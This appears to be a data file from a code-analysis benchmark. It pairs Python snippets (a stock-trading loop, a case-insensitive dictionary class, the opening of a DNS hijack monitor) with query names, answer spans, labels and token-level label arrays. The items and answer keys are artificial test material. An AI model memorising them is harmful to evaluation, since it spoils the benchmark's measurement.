"ctr_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "no", "Of", "Day", "s", "Stock", "Has", "Bee", "n", "Lo", "osin", "g", "Value_", "[_", "index2_", "]_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "stock", " ", "not", " ", "found", " ", "in", " ", "the", " ", "list_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "self_", "._", "list", "Of", "Lo", "osin", "g", "Stock", "s_", "._", "append_", "(_", "self_", "._", "list", "Of", "Stock", "s_", "[_", "ctr_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "no", "Of", "Day", "s", "Stock", "Has", "Bee", "n", "Lo", "osin", "g", "Value_", "._", "append_", "(_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "current", "Positions_", "=_", "positions_", "._", "get", "Positions_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "pos_", "in_", "current", "Positions_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "index2_", "=_", "self_", "._", "list", "Of", "Lo", "osin", "g", "Stock", "s_", "._", "index_", "(_", "pos_", "[_", "'", "symbol", "'_", "]_", ")_", "#", "if", " ", "it", " ", "isn", "'", "t", " ", "in", " ", "this", " ", "list", " ", "then", " ", "we", " ", "don", "'", "t", " ", "have", " ", "to", " ", "sell", " ", "it_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "self_", "._", "no", "Of", "Day", "s", "Stock", "Has", "Bee", "n", "Lo", "osin", "g", "Value_", "[_", "index2_", "]_", ">_", "2_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "we", " ", "have", " ", "this", " ", "stock", " ", "and", " ", "it", " ", "lost", " ", "value", " ", "twi", "ce_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Er", "go", "-", " ", "we", " ", "sell", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "sell", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "if", " ", "((", "pos", "['", "purchase", "\\u", "price", "']", " ", "+", " ", "(", "pos", "['", "share", "s", "']", "*", "self", ".", "Com", "Per", "Share", "))", "<", " ", "temp", "):", " ", "#", "rig", " ", "it", " ", "to", " ", "make", " ", "money_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "print_", "str_", "(_", "pos_", "[_", "'", "symbol", "'_", "]_", ")_", "+_", "\"", " ", "final", "ly", " ", "lost", " ", "value", " ", "for", " ", "\"_", "+_", "str_", "(_", "self_", "._", "no", "Of", "Day", "s", "Stock", "Has", "Bee", "n", "Lo", "osin", "g", "Value_", "[_", "index2_", "]_", ")_", "+_", "\"", " ", "day", "s", ".", " ", "Sell", "ing", " ", "it", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "order_", "=_", "stock", "Info_", "._", "Output", "Order_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "order_", "._", "symbol_", "=_", "pos_", "[_", "'", "symbol", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "order_", "._", "volume_", "=_", "pos_", "[_", "'", "share", "s", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "order_", "._", "task_", "=_", "'", "sell", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "order_", "._", "order", "Type_", "=_", "'", "moc", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "order_", "._", "close", "Type_", "=_", "'", "fifo", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "order_", "._", "duration_", "=_", "self_", "._", "DAY_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "new", "Order_", "=_", "order_", "._", "get", "Output_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "new", "Order_", "!=_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "output_", "._", "append_", "(_", "new", "Order_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "print_", "\"", "ERROR", "!", " ", "ERROR", "!", " ", "ERROR", "!\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Value", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "pass_", "#", "index", " ", "not", " ", "found", " _", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "for", " ", "pos", " ", "in", " ", "current", "Positions_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "this", " ", "stock", " ", "did", " ", "not", " ", "loose", " ", "value_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "Check", " ", "if", " ", "had", " ", "bee", "n", " ", "loo", "sing", " ", "value_", "\\u\\u\\uNL\\u\\u\\u_", "#", "print", " ", "str", "(", "self", ".", "list", "Of", "Stock", "s", "[", "ctr", "])", "+", " ", "\"", " ", "gain", "ed", " ", "value", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "index1_", "=_", "self_", "._", "list", "Of", "Lo", "osin", "g", "Stock", "s_", "._", "index_", "(_", "self_", "._", "list", "Of", "Stock", "s_", "[_", "ctr_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "self_", "._", "no", "Of", "Day", "s", "Stock", "Has", "Bee", "n", "Lo", "osin", "g", "Value_", "[_", "index1_", "]_", ">_", "3_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "print", " ", "\"", "Thi", "s", " ", "stock", " ", "has", " ", "bee", "n", " ", "loo", "sing", " ", "value", " ", "for", " ", "atl", "east", " ", "3", " ", "day", "s", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "order_", "=_", "stock", "Info_", "._", "Output", "Order_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "order_", "._", "symbol_", "=_", "self_", "._", "list", "Of", "Stock", "s_", "[_", "ctr_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "order_", "._", "volume_", "=_", "min_", "(_", "10_", "*_", "self_", "._", "no", "Of", "Day", "s", "Stock", "Has", "Bee", "n", "Lo", "osin", "g", "Value_", "[_", "index1_", "]_", ",_", "100_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "order_", "._", "task_", "=_", "'", "buy", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "order_", "._", "order", "Type_", "=_", "'", "moc", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "order_", "._", "close", "Type_", "=_", "'", "fifo", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "order_", "._", "duration_", "=_", "self_", "._", "DAY_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "new", "Order_", "=_", "order_", "._", "get", "Output_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "new", "Order_", "!=_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "output_", "._", "append_", "(_", "new", "Order_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "print_", "\"", "ERROR", "!", " ", "ERROR", "!", " ", "ERROR", "!\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "The", " ", "stock", " ", "was", " ", "loo", "sing", " ", "value", " ", "for", " ", "<=", "3", " ", "day", "s", " ", " ", "but", " ", "now", " ", "gain", "ed", " ", "value", "-", " ", "so", " ", "off", " ", "with", " ", "the", " ", "head_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "list", "Of", "Lo", "osin", "g", "Stock", "s_", "._", "pop_", "(_", "index1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "no", "Of", "Day", "s", "Stock", "Has", "Bee", "n", "Lo", "osin", "g", "Value_", "._", "pop_", "(_", "index1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Value", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "try", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "index", "1", "=", " ", "self", ".", "list", "Of", "Lo", "osin", "g", "Stock", "s", ".", "index", "(", "self", ".", "list", "Of", "Stock", "s", "[", "ctr", "])", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "print", " ", "str", "(", "self", ".", "list", "Of", "Stock", "s", "[", "ctr", "])", "+\"", " ", "lost", " ", "value", " ", "for", " ", "\"+", " ", "str", "(", "self", ".", "no", "Of", "Day", "s", "Stock", "Has", "Bee", "n", "Lo", "osin", "g", "Value", "[", "index", "]+", " ", "\"..", "and", " ", "then", " ", "gain", "ed", "..", "\")", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "#", "Stock", " ", "found_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "#", "if", " ", "it", " ", "had", " ", "lost", " ", "value", " ", "for", " ", "more", " ", "than", " ", "2", " ", "day", "s", " ", "then", " ", "buy", "!", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "if", " ", "(", "self", ".", "no", "Of", "Day", "s", "Stock", "Has", "Bee", "n", "Lo", "osin", "g", "Value", "[", "index", "1", "]>", "3", "):", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", " ", "#", "buy", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", " ", "order", "=", " ", "stock", "Info", ".", "Output", "Order", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", " ", "order", ".", "symbol", "=", " ", "self", ".", "list", "Of", "Stock", "s", "[", "ctr", "]_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", " ", "order", ".", "volume", "=", " ", "max", "(", "10", "*", " ", "self", ".", "no", "Of", "Day", "s", "Stock", "Has", "Bee", "n", "Lo", "osin", "g", "Value", "[", "index", "1", "],", " ", "100", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", " ", "order", ".", "task", "=", " ", "'", "buy", "'_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", " ", "order", ".", "order", "Type", " ", "=", " ", "'", "moc", "'_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", " ", "order", ".", "close", "Type", " ", "=", " ", "'", "fifo", "'_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", " ", "order", ".", "duration", " ", "=", " ", "self", ".", "DAY_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", " ", "new", "Order", " ", "=", " ", "order", ".", "get", "Output", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", " ", "if", " ", "new", "Order", " ", "!=", " ", "Non", "e", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", " ", " ", "output", ".", "append", "(", "new", "Order", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", " ", "else", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", " ", " ", "print", " ", "\"", "ERROR", "!", " ", "ERROR", "!", " ", "ERROR", "!\"_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "else", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", " ", "#", "it", " ", "was", " ", "loo", "sing", " ", "value", "-", " ", "but", " ", "for", " ", "less", " ", "than", " ", "2", " ", "day", "s", ".", " ", "So", " ", "we", " ", "just", " ", "remove", " ", "this", " ", "entry", "..._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", " ", "self", ".", "list", "Of", "Lo", "osin", "g", "Stock", "s", ".", "pop", "(", "index", "1", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", " ", " ", "self", ".", "no", "Of", "Day", "s", "Stock", "Has", "Bee", "n", "Lo", "osin", "g", "Value", ".", "pop", "(", "index", "1", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "except", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "#", "Not", " ", "found", "-", " ", "this", " ", "stock", " ", "had", " ", "not", " ", "lost", " ", "value_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "print", " ", "\"", "coul", "d", " ", "not", " ", "find", " ", "index", "!", " ", "Poss", "ibl", "y", " ", "a", " ", "bug", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "ctr_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "whi", "le", " ", "loop", " ", "ends", "..", "hop", "efu", "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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
`__eq__` not overridden when adding attributes
gdub/python-simpleldap/simpleldap/cidict.py
[ { "content": "class cidict(dict):\n \"\"\"\n Case-insensitive but case-respecting dictionary.\n \"\"\"\n\n\n\n\n\n\n\n __contains__ = has_key\n\n\n", "metadata": "root.cidict", "header": "['module', '___EOS___']", "index": 6 }, { "content": " def __init__(self, default=None):\n self._keys = {}\n super(cidict, self).__init__({})\n self.update(default or {})", "metadata": "root.cidict.__init__", "header": "['class', 'cidict', '(', 'dict', ')', ':', '___EOS___']", "index": 11 }, { "content": " def __getitem__(self, key):\n return super(cidict, self).__getitem__(key.lower())", "metadata": "root.cidict.__getitem__", "header": "['class', 'cidict', '(', 'dict', ')', ':', '___EOS___']", "index": 16 }, { "content": " def __setitem__(self, key, value):\n lower_key = key.lower()\n self._keys[lower_key] = key\n super(cidict, self).__setitem__(lower_key, value)", "metadata": "root.cidict.__setitem__", "header": "['class', 'cidict', '(', 'dict', ')', ':', '___EOS___']", "index": 19 }, { "content": " def __delitem__(self, key):\n lower_key = key.lower()\n del self._keys[lower_key]\n super(cidict, self).__delitem__(lower_key)", "metadata": "root.cidict.__delitem__", "header": "['class', 'cidict', '(', 'dict', ')', ':', '___EOS___']", "index": 24 }, { "content": " def update(self, dict):\n for key in dict:\n self[key] = dict[key]", "metadata": "root.cidict.update", "header": "['class', 'cidict', '(', 'dict', ')', ':', '___EOS___']", "index": 29 }, { "content": " def has_key(self, key):\n return super(cidict, self).has_key(key.lower())", "metadata": "root.cidict.has_key", "header": "['class', 'cidict', '(', 'dict', ')', ':', '___EOS___']", "index": 33 }, { "content": " def get(self, key, *args, **kwargs):\n return super(cidict, self).get(key.lower(), *args, **kwargs)", "metadata": "root.cidict.get", "header": "['class', 'cidict', '(', 'dict', ')', ':', '___EOS___']", "index": 38 }, { "content": " def keys(self):\n return self._keys.values()", "metadata": "root.cidict.keys", "header": "['class', 'cidict', '(', 'dict', ')', ':', '___EOS___']", "index": 41 }, { "content": " def items(self):\n return [(k, self[k]) for k in self.keys()]", "metadata": "root.cidict.items", "header": "['class', 'cidict', '(', 'dict', ')', ':', '___EOS___']", "index": 44 } ]
[ { "span": "class cidict(dict):", "start_line": 6, "start_column": 0, "end_line": 6, "end_column": 19 } ]
[ { "span": "self._keys ", "start_line": 12, "start_column": 8, "end_line": 12, "end_column": 18 } ]
1
false
[ "[CLS]_", "`_", "\\u\\u", "eq\\u\\u_", "`_", "not_", "overrid", "den_", "when_", "addin", "g_", "attributes_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "cid", "ict_", "(_", "dict_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Case", "-", "inse", "nsitive", " ", "but", " ", "case", "-", "respec", "ting", " ", "dictionar", "y", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u", "contains\\u\\u_", "=_", "has", "\\u", "key_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "cid", "ict_", "(_", "dict_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "default_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "keys_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "super_", "(_", "cid", "ict_", ",_", "self_", ")_", "._", "\\u\\u", "init\\u\\u_", "(_", "{_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "update_", "(_", "default_", "or_", "{_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "cid", "ict_", "(_", "dict_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "getitem\\u\\u_", "(_", "self_", ",_", "key_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "super_", "(_", "cid", "ict_", ",_", "self_", ")_", "._", "\\u\\u", "getitem\\u\\u_", "(_", "key_", "._", "lower_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "cid", "ict_", "(_", "dict_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "setitem\\u\\u_", "(_", "self_", ",_", "key_", ",_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "lower", "\\u", "key_", "=_", "key_", "._", "lower_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "keys_", "[_", "lower", "\\u", "key_", "]_", "=_", "key_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "super_", "(_", "cid", "ict_", ",_", "self_", ")_", "._", "\\u\\u", "setitem\\u\\u_", "(_", "lower", "\\u", "key_", ",_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "cid", "ict_", "(_", "dict_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "delitem\\u\\u_", "(_", "self_", ",_", "key_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "lower", "\\u", "key_", "=_", "key_", "._", "lower_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "del_", "self_", "._", "\\u", "keys_", "[_", "lower", "\\u", "key_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "super_", "(_", "cid", "ict_", ",_", "self_", ")_", "._", "\\u\\u", "delitem\\u\\u_", "(_", "lower", "\\u", "key_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "cid", "ict_", "(_", "dict_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "update_", "(_", "self_", ",_", "dict_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "key_", "in_", "dict_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "[_", "key_", "]_", "=_", "dict_", "[_", "key_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "cid", "ict_", "(_", "dict_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "has", "\\u", "key_", "(_", "self_", ",_", "key_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "super_", "(_", "cid", "ict_", ",_", "self_", ")_", "._", "has", "\\u", "key_", "(_", "key_", "._", "lower_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "cid", "ict_", "(_", "dict_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "get_", "(_", "self_", ",_", "key_", ",_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "super_", "(_", "cid", "ict_", ",_", "self_", ")_", "._", "get_", "(_", "key_", "._", "lower_", "(_", ")_", ",_", "*_", "args_", ",_", "**_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "cid", "ict_", "(_", "dict_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "keys_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "\\u", "keys_", "._", "values_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "cid", "ict_", "(_", "dict_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "items_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "[_", "(_", "k_", ",_", "self_", "[_", "k_", "]_", ")_", "for_", "k_", "in_", "self_", "._", "keys_", "(_", ")_", "]_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Except block handles 'BaseException'
corelan/dnshjmon/dnshjmon.py
[ { "content": "#\n# dnshjmon.py\n# written by corelanc0d3r\n# www.corelan.be\n#\n\nimport os\nimport sys\nimport smtplib\nfrom email.mime.text import MIMEText\nfrom email.mime.multipart import MIMEMultipart\nfrom email import Encoders\nfrom email.MIMEBase import MIMEBase\nimport socket\nfrom socket import gethostname\nimport datetime\n\nglobal g_allowExternalResolver\ng_allowExternalResolver = False\n\ntry:\n import dns.resolver\n g_allowExternalResolver = True\nexcept:\n pass\n\n\n\n# some helper stuff\n\n\n\n\n\n\n\n\n# CIDR to IPv4 list converter, written by Moshe (https://github.com/moshekaplan)\n\n\n\n\n\n\n \n# routine to perform DNS lookups\n\n\n# ----- classes -----\n\n\n\n\n\n\n# ----- main routine -----\nif __name__ == \"__main__\":\n\n mailconfigerror = True\n dnsconfigerror = True\n workingfolder = os.getcwd()\n\n dnsconfigfile = os.path.join(workingfolder, \"dnshjmon_dns.conf\")\n mailconfigfile = os.path.join(workingfolder, \"dnshjmon_smtp.conf\")\n dnsserverfile = \"\"\n dnsservers = []\n \n showbanner()\n\n arguments = []\n if len(sys.argv) >= 2:\n arguments = sys.argv[1:]\n\n args = {}\n last = \"\"\n for word in arguments:\n if (word[0] == '-'):\n word = word.lstrip(\"-\")\n args[word] = True\n last = word\n else:\n if (last != \"\"):\n if str(args[last]) == \"True\":\n args[last] = word\n else:\n args[last] = args[last] + \" \" + word\n\n if \"h\" in args:\n showsyntax(sys.argv)\n sys.exit(0)\n\n if \"d\" in 